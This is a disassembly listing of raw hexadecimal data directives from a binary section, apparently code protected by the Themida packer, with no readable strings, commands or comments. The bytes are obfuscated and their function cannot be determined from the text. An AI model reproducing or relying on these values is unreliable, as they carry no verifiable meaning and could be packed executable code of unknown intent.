		dd 8EB5B8C1h, 0CA06B8C1h, 9F48BCE5h, 100E4826h,	0D61EFA53h
		dd 71C7142Fh, 4F17B66Bh, 0CC71644Dh, 0CA34BCE4h, 825C7365h
		dd 225BBC8Fh, 0CA86BCE6h, 9480E2C5h, 0CE85C86Ch, 0CEF4F864h
		dd 0CA68BCFEh, 46F7EAA3h, 0B461EF7Ah, 7061FD76h, 87E53BECh
		dd 17F40783h, 43F6205Ch, 19553195h, 476EA53Bh, 0D3E9F958h
		dd 0BEE287E3h, 1B028CE2h, 3F6DFB2Ch, 0CA29C152h, 0CAA254B5h
		dd 92F0BCE5h, 8EE1E426h, 8EB5B8C1h, 0CA0EB8C1h,	9A4DBCE5h
		dd 4BE0B026h, 0AC16A03Eh, 0BAE17664h, 0D81D0166h, 0C569BAF1h
		dd 0CA348B61h, 14ADB3E5h, 0D1000166h, 0C586BAF1h, 0CA439B60h
		dd 497B3DE5h, 49A791A5h, 0DE4BB558h, 4E3BBCE3h,	0CA1ABCF9h
		dd 0CA0DB70Dh, 0AE5048E5h, 937A474Bh, 0BF436EE6h, 91070BEAh
		dd 0CA68720Ch, 335A0EE5h, 0D8D70166h, 0C50CBAF1h, 0CA86CA60h
		dd 9F43D6E5h, 0CAA1BF0Dh, 98D9CE5h, 0EE0435B8h,	0EE703DE1h
		dd 0CA1AAAE1h, 958F9E5h, 4A6D54CBh, 3CC3B602h, 1D2AE1B9h
		dd 9FD0D626h, 0CA68BF0Dh, 9699CE5h, 0EE7635B8h,	0EE493DE1h
		dd 0CA86A5E1h, 916F9E5h, 0CEB1806Ah, 385143B0h,	0D517C228h
		dd 7BB65E5Eh, 0CA7F559Ch, 4302BCE5h, 0CA86BCF2h, 0CA43AE0Ch
		dd 0F97B23E5h, 75CD77Eh, 2ED567C0h, 56DAFA1Ch, 97B8E259h
		dd 225EBC8Fh, 0CA86BCE6h, 9180E7C5h
		dd 0CE85E06Ch, 0CEF4F864h, 0CA68BCFCh, 0AFF7EFA6h, 0F56ABC7Bh
		dd 1486DAAFh, 9646E64h,	221091A3h, 0CAA1BCEBh, 921F7A6Eh
		dd 43FCF018h, 9E108046h, 19B88CBh, 0CF9BC845h, 4749E6BEh
		dd 0D39B5B58h, 6A2C31E3h, 72D6A53Bh, 0B152E0F8h, 0D33539D6h
		dd 531BAF1h, 205C5524h,	319543F6h, 0A53B1955h, 0F958476Eh
		dd 87E3D3E9h, 8CE2BEE2h, 832C1B02h, 0A4F305E9h,	0D8A8BD83h
		dd 74000619h, 798D8D0Dh, 0B806144Dh, 1,	6A40E1FFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 5AD0C356h, 0EACC2BFh, 66AAF611h, 0BF8ED381h,	13E8h
		dd 38658900h, 690E5444h, 14D13A0h, 8307E97Dh, 0BEA34391h
		dd 835A5A53h, 0E8562DE8h, 13h, 524C933Bh, 2DAEBEB7h, 98D404E1h
		dd 0E695FDA3h, 0E82DC8BCh, 10h,	0B12FE754h, 8D9C552Bh
		dd 7F78059Ch, 9CCC93BBh, 8B5B5B5Bh, 833BB3C0h, 1430B1BDh
		dd 9750006h, 1AE1BD83h,	74000614h, 8B535019h, 3FCB8C0h
		dd 85890000h, 61430C1h,	0B7A19D8Dh, 0D3FF0616h,	0BD83585Bh
		dd 6141AE1h, 50177400h,	3FCB853h, 85890000h, 61430C1h
		dd 0B4429D8Dh, 0D3FF0616h, 0F3BA585Bh, 6A3F0EC3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 3235C351h, 0B15D2D52h, 850F56E9h, 13h, 0DE8h, 0E7326800h
		dd 0D41592ADh, 4A2EF20Bh, 5B5A88C4h, 24EBC08Bh,	9 dup(0)
		dd 0BDE9h
		db 0
byte_5A6BE9	db 89h,	0B5h, 0E1h	; DATA XREF: Themida_:0054BA7Co
		dd 8B0619DFh, 1412CD85h, 0E1858B06h, 8D06140Ah,	19E02BB5h
		dd 12858D06h, 0FF06174Ch, 0E855C3D0h, 0
		dd 31ED815Dh, 830619E0h, 1412CDBDh, 850F0106h, 2Ch, 0DFE1B5FFh
		dd 858B0619h, 6140AE1h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 619DFE5h
		dd 0E1B5FF56h, 8B0619DFh, 140AE185h, 27363506h,	0D0FF3481h
		dd 8D0CC483h, 19DFE5B5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 12CDBD83h, 0F010614h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 619E00Ah, 2E9D8589h, 0B4E90614h
		dd 2E000000h, 946267C9h, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 27h dup(0)
		dd 0E9000000h, 0AEDh, 19E2EA68h, 9C85E906h, 0EF68FFFAh
		dd 0E90619E3h, 0FFFA9C7Bh, 19E50E68h, 9C71E906h, 6668FFFAh
		dd 0E90619E5h, 0FFFA9C67h, 19E67768h, 9C5DE906h, 0D868FFFAh
		dd 0E90619E6h, 0FFFA9C53h, 19E9DD68h, 9C49E906h, 0CA68FFFAh
		dd 0E90619EAh, 0FFFA9C3Fh, 84D6E9F3h, 3F912CA7h, 0F94B7062h
		dd 0AE00B91Ch, 65B706D1h, 0B3248C2Ch, 0F6DBB80Ah, 449471C3h
		dd 8A4C297Bh, 4BD3DF31h, 0BC95F45h, 11787358h, 93B44017h
		dd 903C7F57h, 76E2E138h, 9559CCBFh, 9E363CBAh, 4972646Fh
		dd 7546909Dh, 35D94723h, 2554E7EDh, 9AC257E6h, 4C6A8EEh
		dd 0AFD15807h, 0D06DF893h, 2591F8D8h, 89000000h, 77A617BCh
		dd 0F9A51390h, 2E8ABB1h, 8EB657E5h, 2BA9CE2h, 0A3C55806h
		dd 0D679ECE7h, 0D085F8D9h, 9C000000h, 9642C412h, 0AE5A6374h
		dd 7A26BE56h, 0A7536A6Dh, 0D37F3C9Ah, 63AB10C6h, 65BB3F96h
		dd 3AED0430h, 217925BDh, 5FCCE2F2h, 0EA51F2E3h,	0A57DCFECh
		dd 0E3F1D7DDh, 0DD0551F2h, 8833A3AEh, 0BE62D0DCh, 0FD357076h
		dd 0BBE357E5h, 0BF1F8D69h, 6FDD3B9h, 27BFE758h,	0D4ADD9DFh
		dd 153D5DFBh, 7B4F6CDh,	0CA53562Dh, 0FC8959Bh, 587F5CAEh
		dd 0C31A8765h, 331D3893h, 90625h, 0DFE0FC00h, 9A23B08Dh
		dd 54676B48h, 9B02502h,	0C0FDDAB7h, 2D83356Eh, 0E4C113AAh
		dd 9D7ACCEDh, 5532843Bh, 0DCE83A81h, 0CA684E54h, 817C580Bh
		dd 494F171Ah, 51F1E863h, 0CF024F77h, 27B0BBEAh,	1DC9F0E1h
		dd 0FEDB2DC5h, 0CE9BE3D8h, 0E7D8000Ah, 0ECD1024Fh, 13F4ADBDh
		dd 759344A5h, 5AB25E5Dh, 71BE16C2h, 57AF5B62h, 0A9AF77BFh
		dd 51F1E7C3h, 7662AFD7h, 16459D49h, 3470A10h, 0ED1557E5h
		dd 319FB41h, 2245806h, 0D71A4B40h, 0C2E4F8D9h, 0DC000000h
		dd 4AF6C90Fh, 12DCC3F2h, 434BF7C4h, 0B05C6176h,	0F1CC0B58h
		dd 0B3BEED45h, 0A7ED9924h, 51F1EB3Ah, 62AA11C5h, 0B4BA4095h
		dd 0D4163506h, 31A5F28Ah, 6E4B5B8Ah, 9BA75368h,	0E766C22Dh
		dd 0B7E1E903h, 96D1D71Fh, 4457E5BEh, 80EECA1Ch,	678288D0h
		dd 0D55DFB92h, 3F9865ADh, 7D542C7Eh, 0EEE2EF1Fh, 404B7A25h
		dd 63482697h, 0E8389311h, 801F0FEh, 0DB010000h,	1EB592E4h
		dd 62704D9Fh, 0AB2A0759h, 0F8DFBC0Eh, 7E3A73C5h, 0C618A532h
		dd 7FD1E8E9h, 378936A2h, 0ED3F7C5Ah, 6D5359E1h,	81580BCBh
		dd 0C5121F86h, 0F5E3B0F8h, 0E0071ECAh, 60D40106h, 0E145CF4h
		dd 51F2E728h, 0D5E5143Ch, 8BDDDEF8h, 0F7C412D2h, 23983E4Bh
		dd 0D787F5D1h, 0A916C28Fh, 7076A5FDh, 0EBC99C6Ah, 487057h
		dd 0C618A333h, 0BCA3AB0h, 1E7BE858h, 45C08B5h, 964D246Ch
		dd 7714B97h, 7290A0CFh,	33A4711Ah, 0DB900D5h, 0E4EE1DB5h
		dd 0B582CA76h, 6A709F1Eh, 0EED4DAA2h, 2580BC4h,	0C53E242Ah
		dd 2A52580Bh, 0D41F6392h, 205DFEDEh, 8378253h, 67BB5C84h
		dd 0D1E6F8C4h, 6AB25ECCh, 0DBF3B164h, 0EF375FF7h, 0A3954218h
		dd 766087F7h, 147EAD45h, 0AEF69A08h, 48FAE0E6h,	0E60EF7FDh
		dd 0DEABB1B7h, 2EFDF1C9h, 78548F66h, 64337C8Dh,	14D9F8DEh
		dd 0B5E40CFEh, 0F4C10931h, 0AA87D9E2h, 0F3D9DF2Ch, 76FE14D9h
		dd 58E5400Ch, 0A32F87Ch, 38219472h, 543E989Ch, 6E246h
		dd 3BC2000h, 0BEFFD4B1h, 78438F6Ch, 2D8C4926h, 0E4D9FEDBh
		dd 515F5992h, 8E53786h,	0C19EF0C9h, 7956A817h, 0C5E5Dh
		dd 0CC8C7278h, 0A5A0580Bh, 0F9A5133Eh, 0C8DDABB1h, 89B157EBh
		dd 5E5F7441h, 19A42F0Ch, 9076606Dh, 76CE7A43h, 0F3BF00DEh
		dd 0CAB43EA4h, 68ABCh, 5B647800h, 16A72C09h, 0D0EBE7C4h
		dd 8534A17Eh, 3C815633h, 0A907B1EAh, 603D8F2Eh,	19F64871h
		dd 0D1AE00BFh, 5864B605h, 0CCE4CAD0h, 0FDF8580Bh, 0F9A51396h
		dd 0C8DDABB1h, 89B157EBh, 59627441h, 10BE2B07h,	0C8D0C2C8h
		dd 0D4FC580Bh, 83532028h, 0E2C50938h, 0EF580BC8h, 4F168DCDh
		dd 0FF8D40Ch, 0F7269342h, 3C91h, 0A613A800h, 802C8F43h
		dd 7B489028h, 9726AD5Dh, 2CAD0FFh, 1A1A3B2Bh, 4E7D2B7Dh
		dd 0F2A0100Ah, 68143C51h, 0F2A04022h, 69294B51h, 0ED35F372h
		dd 70BFEh, 11220000h, 1BCh, 0CE6BD168h,	3A0DF160h, 73CAEFE6h
		dd 0F5FB96FDh, 51F2390Fh, 0CB63FB23h, 52327D83h, 0D80057E5h
		dd 2197E337h, 1DE5E76Fh, 0B1023117h, 0A318BE07h, 7C86B5DDh
		dd 141A620Eh, 0DA41D61h, 2F3BE70Fh, 8D51DC1h, 0E941EDCEh
		dd 0E1AEB4BAh, 0B313B99Dh, 6076438Bh, 5A31095Bh, 5654E497h
		dd 9CA7D6EDh, 26A3813Ah, 6182D45Fh, 5796977h, 53890000h
		dd 963D1A6Ch, 0DAF8D527h, 23B28FE1h, 70674496h,	0F6C2FB4Dh
		dd 4EA01DBAh, 7596071h,	0BF11AE2Ah, 75C7F4E2h, 0F5DBE169h
		dd 9580BCDh, 0C412A70Eh, 0D13F4BF7h, 0C018E52Dh, 0C4CAD0FFh
		dd 57E50511h, 1CF1E2BFh, 6053016h, 841C4458h, 96E880D8h
		dd 0C09E1DB9h, 3EAAB713h, 18909E88h, 0EA000005h, 9E7BCDF2h
		dd 59368835h, 13F04279h, 0C8A5F7C2h, 235CAE0Fh,	1BC1B95h
		dd 0BAFFD2AFh, 724D8B68h, 28934320h, 3C42CAD6h,	580BCE56h
		dd 12086F6Ah, 3E4BF7C4h, 6A772398h, 7F3E996Bh, 37E37BD3h
		dd 6713A82Ah, 0AE334F33h, 42FA98FCh, 0FDD52794h, 953ABC26h
		dd 7FAEAD32h, 0ED715213h, 29ACFEh, 0CDA40000h, 0D5955DCCh
		dd 0B59CCB98h, 0B1F9A513h, 0E51D80ABh, 3AE60E57h, 5FE12F4h
		dd 5FFB1D58h, 0D9DC2144h, 62DDF8h, 13F40000h, 0E9B1F9A5h
		dd 0F1E7FDE3h, 0BAE91151h, 5443AEB4h, 295157E5h, 864C19E1h
		dd 2318935h, 0A92CDCF7h, 10267810h, 5806352Dh, 479922B4h
		dd 8936A26Fh, 180A4B32h, 0D7067CEEh, 6EB607CCh,	0DD8930A1h
		dd 12E9CFD5h, 0D5FD5806h, 96A40E3Dh, 43Bh, 1A0006CEh, 2E580613h
		dd 0A219B906h, 886F9EF6h, 0F7154017h, 30DCDDF8h, 0B32181D8h
		dd 0D846507Fh, 8BDAE028h, 6157E59Dh, 0D26A5384h, 49BD1926h
		dd 2D853188h, 0F73E995h, 0F44CBA73h, 67E08EEh, 5CF41C58h
		dd 0C7BF0E14h, 6D955DF9h, 757B431Bh, 5E1AA78Fh,	0A82E7BA3h
		dd 0FDD9E413h, 3D0A12BEh, 2078249Bh, 2079E7F1h,	25A06B7h
		dd 391C226Ah, 47640DC1h, 0C80AD71Fh, 4D5AC4F3h,	0DED07785h
		dd 4315A511h, 0E1F2FFABh, 0A51930DCh, 0D97E84C8h, 1634984Eh
		dd 3E5CFE93h, 99EBD006h, 0E9EF4FBDh, 642DF003h,	0B1774890h
		dd 0A3A9F189h, 6A2118E8h, 53B73D14h, 382A74Ah, 6D9C21B6h
		dd 815C1E9h, 0EC41EDCEh, 87F5084Ah, 0CE898FD7h,	7C70356Dh
		dd 0B1250254h, 8E3A8155h, 0D1695081h, 57808D39h, 0C99668A7h
		dd 0C0D87439h, 9F096008h, 9D838946h, 0B1705600h, 0AD59F189h
		dd 7DB7D337h, 34106259h, 0CCD21AC6h, 764919E9h,	1B23CFF7h
		dd 1A674D53h, 537B766Ah, 1A1F050Bh, 0B33766Ah, 0B605D1DCh
		dd 975FB50Ah, 6A19AB91h, 0E1E7BF76h, 766A19FBh,	204FE70Fh
		dd 0B798CCEh, 32151B63h, 0BE7C5D33h, 330AF0F6h,	0F61E7C7Eh
		dd 0C91B43C7h, 0B61CEAECh, 0B4C16D05h, 6F479922h, 4D436A2h
		dd 0FCD623BBh, 188690BFh, 871A2068h, 0F5827184h, 4C1921CDh
		dd 2F87338Ch, 63FBE1E7h, 0E70F8292h, 639274B8h,	7B9D8292h
		dd 71A1C4DFh, 205DCE4Dh, 74000000h, 0B1F9A513h,	0E502E8ABh
		dd 0E28EB657h, 602BA9Ch, 0E7A3C558h, 0D9D679ECh, 0BD85F8h
		dd 129C0000h, 3E4BF7C4h, 55686F99h, 30951A9h, 51F1E81Dh
		dd 0C5710931h, 0F19D1EB8h, 0A14512E9h, 54BCBCA6h, 0FFBC1A25h
		dd 872A97ADh, 21B551F2h, 6B6B489Ah, 2A98A450h, 9F763E86h
		dd 14C1B06Eh, 0DAFE4EA5h, 4CEF3362h, 0DA57E5D2h, 168460B2h
		dd 991C226Ah, 0E75DFB8Ah, 2DAA77BFh, 0CB801ED1h, 81875299h
		dd 5E1D199Bh, 57EF87AFh, 0EAF2805h, 93A2AD30h, 0A180238h
		dd 213h, 80D2EDEFh, 3B8D30A3h, 0F547745Eh, 0AAFCBD18h
		dd 61B30ACDh, 0B7209028h, 0FAD7B406h, 48906DBFh, 8E482577h
		dd 47CFDB2Dh, 0BD15B41h, 0D746F58h, 0B0F8C512h,	0E7FCE2E8h
		dd 0E81051F1h, 0ACCA9B9h, 13A65FB1h, 0DAB1F9A5h, 36B211F1h
		dd 3D437290h, 0E5527437h, 71654257h, 0B38AF34Ah, 0DF5C415Bh
		dd 73559B47h, 7E58060Ch, 8BEAD1A8h, 86CF2EB7h, 4E450557h
		dd 0F8D95817h, 0CCE7h, 0C412FE00h, 993E4BF7h, 21254065h
		dd 26BEF422h, 36C7347Ah, 845251F2h, 0CE08E537h,	0C73541EDh
		dd 26C9CF17h, 0B457E589h, 9A623A8Ch, 668AE94h, 0EDE5C258h
		dd 32CA22CEh, 20CCF3E5h, 218F99C8h, 0A56D357Dh,	668B99Fh
		dd 76A5CD58h, 0FB3D0E32h, 2E769E5Dh, 0B2989E66h, 0C65E1D1Dh
		dd 73646F9Eh, 0BC1BF84Ah, 9EC42301h, 15FF3893h,	12607h
		dd 0BF00DC00h, 7A43906Dh, 34874B28h, 0E9D005E2h, 0A01DBA97h
		dd 0DA3154Eh, 0C4A1F3CAh, 7D5AAC0Dh, 3512645Bh,	0BCC81AA1h
		dd 0D2482E34h, 615C580Bh, 0F8C512FAh, 0CD28D9B0h, 0FB2C1218h
		dd 184051F1h, 0EDBB53C1h, 5D1AEBEh, 4DE5D401h, 20993805h
		dd 0CED41C74h, 51F232E8h, 95A5D4FCh, 8C4A17DCh,	0D42B832Fh
		dd 0C9FA9F29h, 0AFBAE94Bh, 0E0E89427h, 9CC27D09h, 0FC2B088Bh
		dd 2026E5F1h, 51F2D03Ah, 0E8AE11C7h, 8C7278C0h,	0A051F2CFh
		dd 0B28EE078h, 0A78ADD44h, 702AF057h, 0C08A90D8h, 0A57EBCDh
		dd 7A26953Dh, 476FF322h, 6D6A37FFh, 0CCE4CA50h,	0D0F8580Bh
		dd 582F37A1h, 76555A9Ch, 0B0BBEA62h, 66439526h,	979F4B70h
		dd 65E3C9CFh, 0CFF7580Bh, 8C895CA0h, 0E3F03A28h, 0B1212EDAh
		dd 84E85E0Ah, 0C92DE3C6h, 58637389h, 59AD2906h,	3E964279h
		dd 0E8EDFAA6h, 2ED025D1h, 0BDFED86Ch, 10C6936Bh, 65717CABh
		dd 0D5A2AA56h, 0B50DB900h, 157A86h, 0EAB20000h,	8006B51Dh
		dd 0BC898B9Ah, 705786AEh, 308D4A17h, 1261C801h,	3C49F5CAh
		dd 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h
		dd 4A5703B6h, 7A873388h, 33B86459h, 52D268h, 240C8900h
		dd 7B8068h, 24148900h, 7F7D68h,	241C8900h, 19E1E168h, 8B545A06h
		dd 0C483241Ch, 0D0895004h, 8B084389h, 0C4812404h, 4, 53241C8Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 148B5C24h,	0E0895024h
		dd 405h, 40500h, 4870000h, 0A8E95C24h, 7AFFFA91h, 0E80D1360h
		dd 0EC15B8C0h, 0C5030619h, 240E0FFh, 8E7748CEh,	8AB469DAh
		dd 0AB7E6DF7h, 0E5166E35h, 7BC01A75h, 8BF26C68h, 0AC5389Ch
		dd 6008465Ah, 0C3927D78h, 4DE200FFh, 2AB5256Bh,	0DAE24906h
		dd 0B12E1B63h, 0B9BA311Ah, 0AF8856E2h, 81500E20h, 92BB374Fh
		dd 0E8627105h, 0EAF55F7Eh, 0B24A36ADh, 0AE791156h, 0BE84E15h
		dd 0C5000000h, 5B4B4h, 0F3BEC291h, 0BE89A6Ah, 0A7000000h
		dd 0BF873788h, 1105A769h, 8B6644A3h, 0F585ECEh,	0C081F1B7h
		dd 6FD1h, 0FD233F9h, 1A8Ch, 0EE800h, 14850000h,	1EEBF7F6h
		dd 0EEB9D738h, 5325150Dh, 0A32EC681h, 8B5F198Dh, 0E781101Ch
		dd 29FFAC63h, 5848C381h, 7E94BBEh, 55000000h, 0E260A34Dh
		dd 0EB812C2Bh, 59324455h, 2880Fh, 0CF8A0000h, 839BEB81h
		dd 0F533E00h, 48FCABFh,	0CAB70F10h, 83F78B66h, 7E904EAh
		dd 0C6000000h, 0E4DC4570h, 0FA816E3Eh, 0FFFF90D4h, 0FFA9850Fh
		dd 0F681FFFFh, 5D8390FAh, 15E9h, 709F8A00h, 5Dh, 3 dup(0)
		dd 1CE90000h, 0BE000005h, 724FA11Eh, 2D0A5C61h,	0E7C416A5h
		dd 9C79CBEEh, 0F730823Bh, 0D5E8EFC1h, 8E2BA683h, 46795F3Ch
		dd 0FCBF17F4h, 10169EAAh, 580BD52Ah, 17DC433Eh,	1308D4Ah
		dd 93DBE0F6h, 1AD12C6h,	3107AA9h, 0BA97E9D4h, 0E6F39F1Ch
		dd 121FCBF0h, 0DA50FCC1h, 0DDDCF5C2h, 3D232931h, 5151F1E8h
		dd 8E449129h, 0FA29812Dh, 8452EAA8h, 0D0685582h, 8910B188h
		dd 966A0AD1h, 5E7A5767h, 0A6320F61h, 988C7464h,	0EAEE7901h
		dd 2E8632CAh, 54814E96h, 0BFCC3665h, 0A6FBA712h, 2AAE4604h
		dd 1ECAF3E0h, 0FFDC2EC6h, 0F238E4D7h, 51F29E0Fh, 0C0DB778Bh
		dd 0FEED3BA5h, 5E59h, 40177000h, 0C47D70E4h, 40262CCFh
		dd 5451F297h, 464C942Ch, 51F29760h, 121D4C74h, 54BF7C4h
		dd 51F29721h, 0D4CF8B9Fh, 0FEED4291h, 16Dh, 0C1128400h
		dd 904350FCh, 6174812Dh, 0D236AC58h, 1DB481B0h,	4A0459Ch
		dd 0A3500541h, 536A6974h, 97522901h, 0A33D54C5h, 63737EADh
		dd 124D0658h, 5C4248C5h, 7051F1E8h, 0F704B048h,	10A92CDCh
		dd 0F3B50C64h, 63026E24h, 0E85A069Eh, 0A92EC684h, 0F1E5C214h
		dd 21B582CAh, 0F9016B9Ah, 0E413AC2Ch, 1503F9D9h, 304FF4A4h
		dd 96C3A9AFh, 0AFD751F2h, 0C6D37F17h, 0F901AD12h, 0F2970DF3h
		dd 0ACF92151h, 94E99526h, 8A5150F2h, 4F172A68h,	0F2976349h
		dd 204F7751h, 0ED40C1B4h, 715DFEh, 12740000h, 0E8B0F8C5h
		dd 0F1E7FCE2h, 32381051h, 51F1E84Ch, 71A03860h,	0E3D8FA07h
		dd 3D5DC137h, 23963F0Ch, 506D6A77h, 597E89B8h, 0A2351264h
		dd 0D006D31Bh, 4552BCEBh, 0F67D2990h, 0BB83B6D4h, 4CD2E7EEh
		dd 51F1E866h, 81389D7Ah, 274EBAE9h, 0F7FEEDF0h,	42h, 43C5120Eh
		dd 48902893h, 0B965587Bh, 0BBC83261h, 0C2F6A21Dh, 4F88BCDEh
		dd 12631C6Eh, 0E7B4FCC1h, 0C921CDF0h, 7EA309Ah,	8351F1E8h
		dd 0ADB8D36Fh, 51FEEDF1h, 0Ah, 0D317249h, 9EA102B2h, 0C012886Fh
		dd 94424FFBh, 676E7B27h, 3999A652h, 1DB504CDh, 1B375B71h
		dd 31C9F0E1h, 0A458FA9Ch, 5F3B8D2Eh, 0FF054DF1h, 57E502E8h
		dd 7D8A365Eh, 0E8E0A359h, 4AE9FE41h, 0B18860B2h, 989E2DD2h
		dd 5806A2B2h, 66479EC6h, 848FBE92h, 77BD6952h, 58065893h
		dd 0BB7111F5h, 0D4E7EB1Bh, 0C90DEA3Ch, 9D3946F2h, 9C00721Eh
		dd 2B9046FEh, 97441BE3h, 2EA47800h, 0B59076FCh,	7CA45806h
		dd 66FF3D4Dh, 0F8F8D923h, 0E312AD2Bh, 12D7Dh, 0A5139400h
		dd 74ABB1F9h, 2A57E50Dh, 8D495602h, 27AB5F79h, 0F890E894h
		dd 0A5CF44Ch, 4B726532h, 0F6C5111Ch, 22993D4Ah,	15EC0476h
		dd 0EFF7313Ah, 4496C55Fh, 0D3E8EE06h, 0F6DCA981h, 92C119C5h
		dd 0D9D73F26h, 5BBFF8h,	13D60000h, 0E8B0F8A6h, 0F1E7FCE2h
		dd 0B9E81051h, 0E7E7ADB3h, 93BBD1F1h, 0FEC6744Bh, 0D5ED3F27h
		dd 9AA1878Dh, 8DB5D1F2h, 0C8AEF45Eh, 4CD1F29Ah,	66D36A28h
		dd 3DE9D403h, 0FF054DE5h, 51F29B39h, 0BB93E50Dh, 0A7D6E3EEh
		dd 999Bh, 50BD300h, 51F29B1Fh, 15BE0B33h, 75A4FCA8h, 0F9A5138Eh
		dd 10F0ABB1h, 769E57E5h, 0A219BDCAh, 58637350h,	0F28566ACh
		dd 0FDE15805h, 0F2DFAC5Dh, 498D98C7h, 5C622A72h, 5805F276h
		dd 2333628Ah, 0DF87744Bh, 20A08068h, 8BBA05D3h,	236B1381h
		dd 35A91Dh, 0DCFCD95Eh,	47DF37E3h, 1BA032FFh, 7EE8176Fh
		dd 67AB9F76h, 0F08BB07Ah, 0E620B6C1h, 0CC24D0EDh, 0CF67527Fh
		dd 0AB78CE23h, 1062912Ch, 0EC4DBB72h, 0D028D4E5h, 76EAF038h
		dd 0A6641A51h, 8986F8BFh, 0C45CBA7Ch, 0A513B972h, 0EFE4B1F9h
		dd 9BCA22CEh, 0F61B8F95h, 234B57EBh, 4F6C6A77h,	5B620FDh
		dd 62961359h, 74D81332h, 3B81ED6h, 0B902D4B1h, 0BDA3A971h
		dd 4AB37541h, 2B832F8Ch, 724B8865h, 3441ABDAh, 5F6C18A1h
		dd 8B984477h, 0ADC36F4Ah, 53E8C989h, 14A530FDh,	45785B68h
		dd 5CA94199h, 0C012417Ah, 9A6C6A82h, 97E9813Eh,	579F1CBAh
		dd 41A3898Fh, 8FB7B375h, 8E8F660h, 3F000000h, 45915EE4h
		dd 12604776h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
		dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h,	33B86459h
		dd 51E38953h, 0EC1EE5B9h, 58F18131h, 0C13DA751h, 0C18108E9h
		dd 0FFF3B4B5h, 8359CB01h, 1C8704EBh, 89535C24h,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E68956h, 4C6h
		dd 4EE8100h, 87000000h,	895C2434h, 5157240Ch, 8A6E84B9h
		dd 7E9C141h, 4074C181h,	0E9812ED5h, 293E67A5h, 8959CF89h
		dd 8B545FF8h, 0C483240Ch, 3A5F6804h, 4890000h, 8418F24h
		dd 592434FFh, 4C481h, 48B0000h,	0E0895024h, 405h, 4C08300h
		dd 5C240487h, 0FA8B5EE9h, 744FB0FFh, 0B8A8019Eh, 619F225h
		dd 0E0FFC503h, 3707AB25h, 61BAA52Dh, 574FC666h,	6B30FD56h
		dd 27A65C27h, 3293B5FBh, 0BB40A40h, 0F3FA65Fh, 16C8788Eh
		dd 30161330h, 59823BF2h, 1ACD1AD5h, 0F3E78D8Dh,	6A0619h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 693555C3h, 8D8993FDh, 6143229h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 2CC35040h, 303502C5h, 9E5B5FB3h
		dd 4DE68166h, 0D995BF7Ch, 85C77083h, 614064Dh, 7040h, 8F0Fh
		dd 85C70000h, 6142671h,	0
		dd 0EE9h, 891A600h, 815F79BEh, 27F27AA9h, 0FF94C997h, 140591B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 748EDB40h, 0BDF2E84Fh, 95FF2A75h, 6142361h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A9C35343h
		dd 0F5924D0Ah, 0B1958BFAh, 6A061405h, 6995FF00h, 8B061411h
		dd 7C7FEBC0h, 39789F6Bh, 0A3C88228h, 0CAB442Dh,	3548DDC3h
		dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 39895A02h,	0A99BD9EFh
		dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h,	8D39F0Ch
		dd 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h, 0B90DCACBh
		dd 3CF005E4h, 1DF76863h, 0DE91846Ah, 5A46ADB3h,	5A23F555h
		dd 0A6F02F80h, 0D92CE4DAh, 27F937EAh, 5378E964h, 8C51DD62h
		dd 0F6A5653h, 0DA97A76h, 8D8D9516h, 619F520h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8C35242h, 8B283F1Eh
		dd 142E319Dh, 45DA8006h, 32298D89h, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0EA2305C3h
		dd 0F2861CF9h, 36A3BE5Bh, 8D29545Fh, 61410B5h, 64D85C7h
		dd 5CB80614h, 8B660000h, 7185C7F3h, 61426h, 0F5000000h
		dd 2E1B5FFh, 85890614h,	61423D9h, 236195FFh, 6A0614h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 77552CC3h, 0BF2DF4B3h, 95FF006Ah, 6141169h, 1DEBC08Bh
		dd 0D1910119h, 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h
		dd 98F1E345h, 0E4F6A16h, 22E972h, 0EA4F0000h, 674Ah, 242h
		dd 6 dup(0)
		dd 0C0CE9h, 0F7106800h,	4FE90619h, 68FFFB51h, 619F7F9h
		dd 0FB5145E9h, 0F98468FFh, 3BE90619h, 68FFFB51h, 619FA4Dh
		dd 0FB5131E9h, 0FAF268FFh, 27E90619h, 68FFFB51h, 619FCFEh
		dd 0FB511DE9h, 0FDAF68FFh, 13E90619h, 68FFFB51h, 619FECCh
		dd 0FB5109E9h, 0FFC268FFh, 0FFE90619h, 0A1FFFB50h, 2236076Bh
		dd 0A5B98AE0h, 2A3E0F5Bh, 0ACC091D7h, 3247185Ah, 0C66A08Dh
		dd 94DC273Bh, 1A56AFC3h, 9ECA3549h, 8A266BCDh, 3046EEF6h
		dd 0D9CB1B79h, 45894226h, 9DDAEBAh, 0AA2DF0F1h,	0F9F78B27h
		dd 0E1722A2Ch, 2A331CA8h, 0C5563410h, 29E8800Ch, 867A3041h
		dd 1EE72BE4h, 369A9952h, 93D82A30h, 29E07410h, 0CA5B3041h
		dd 0F879FD91h, 6FA74855h, 3548h, 1194A00h, 68A13D00h, 0ED341020h
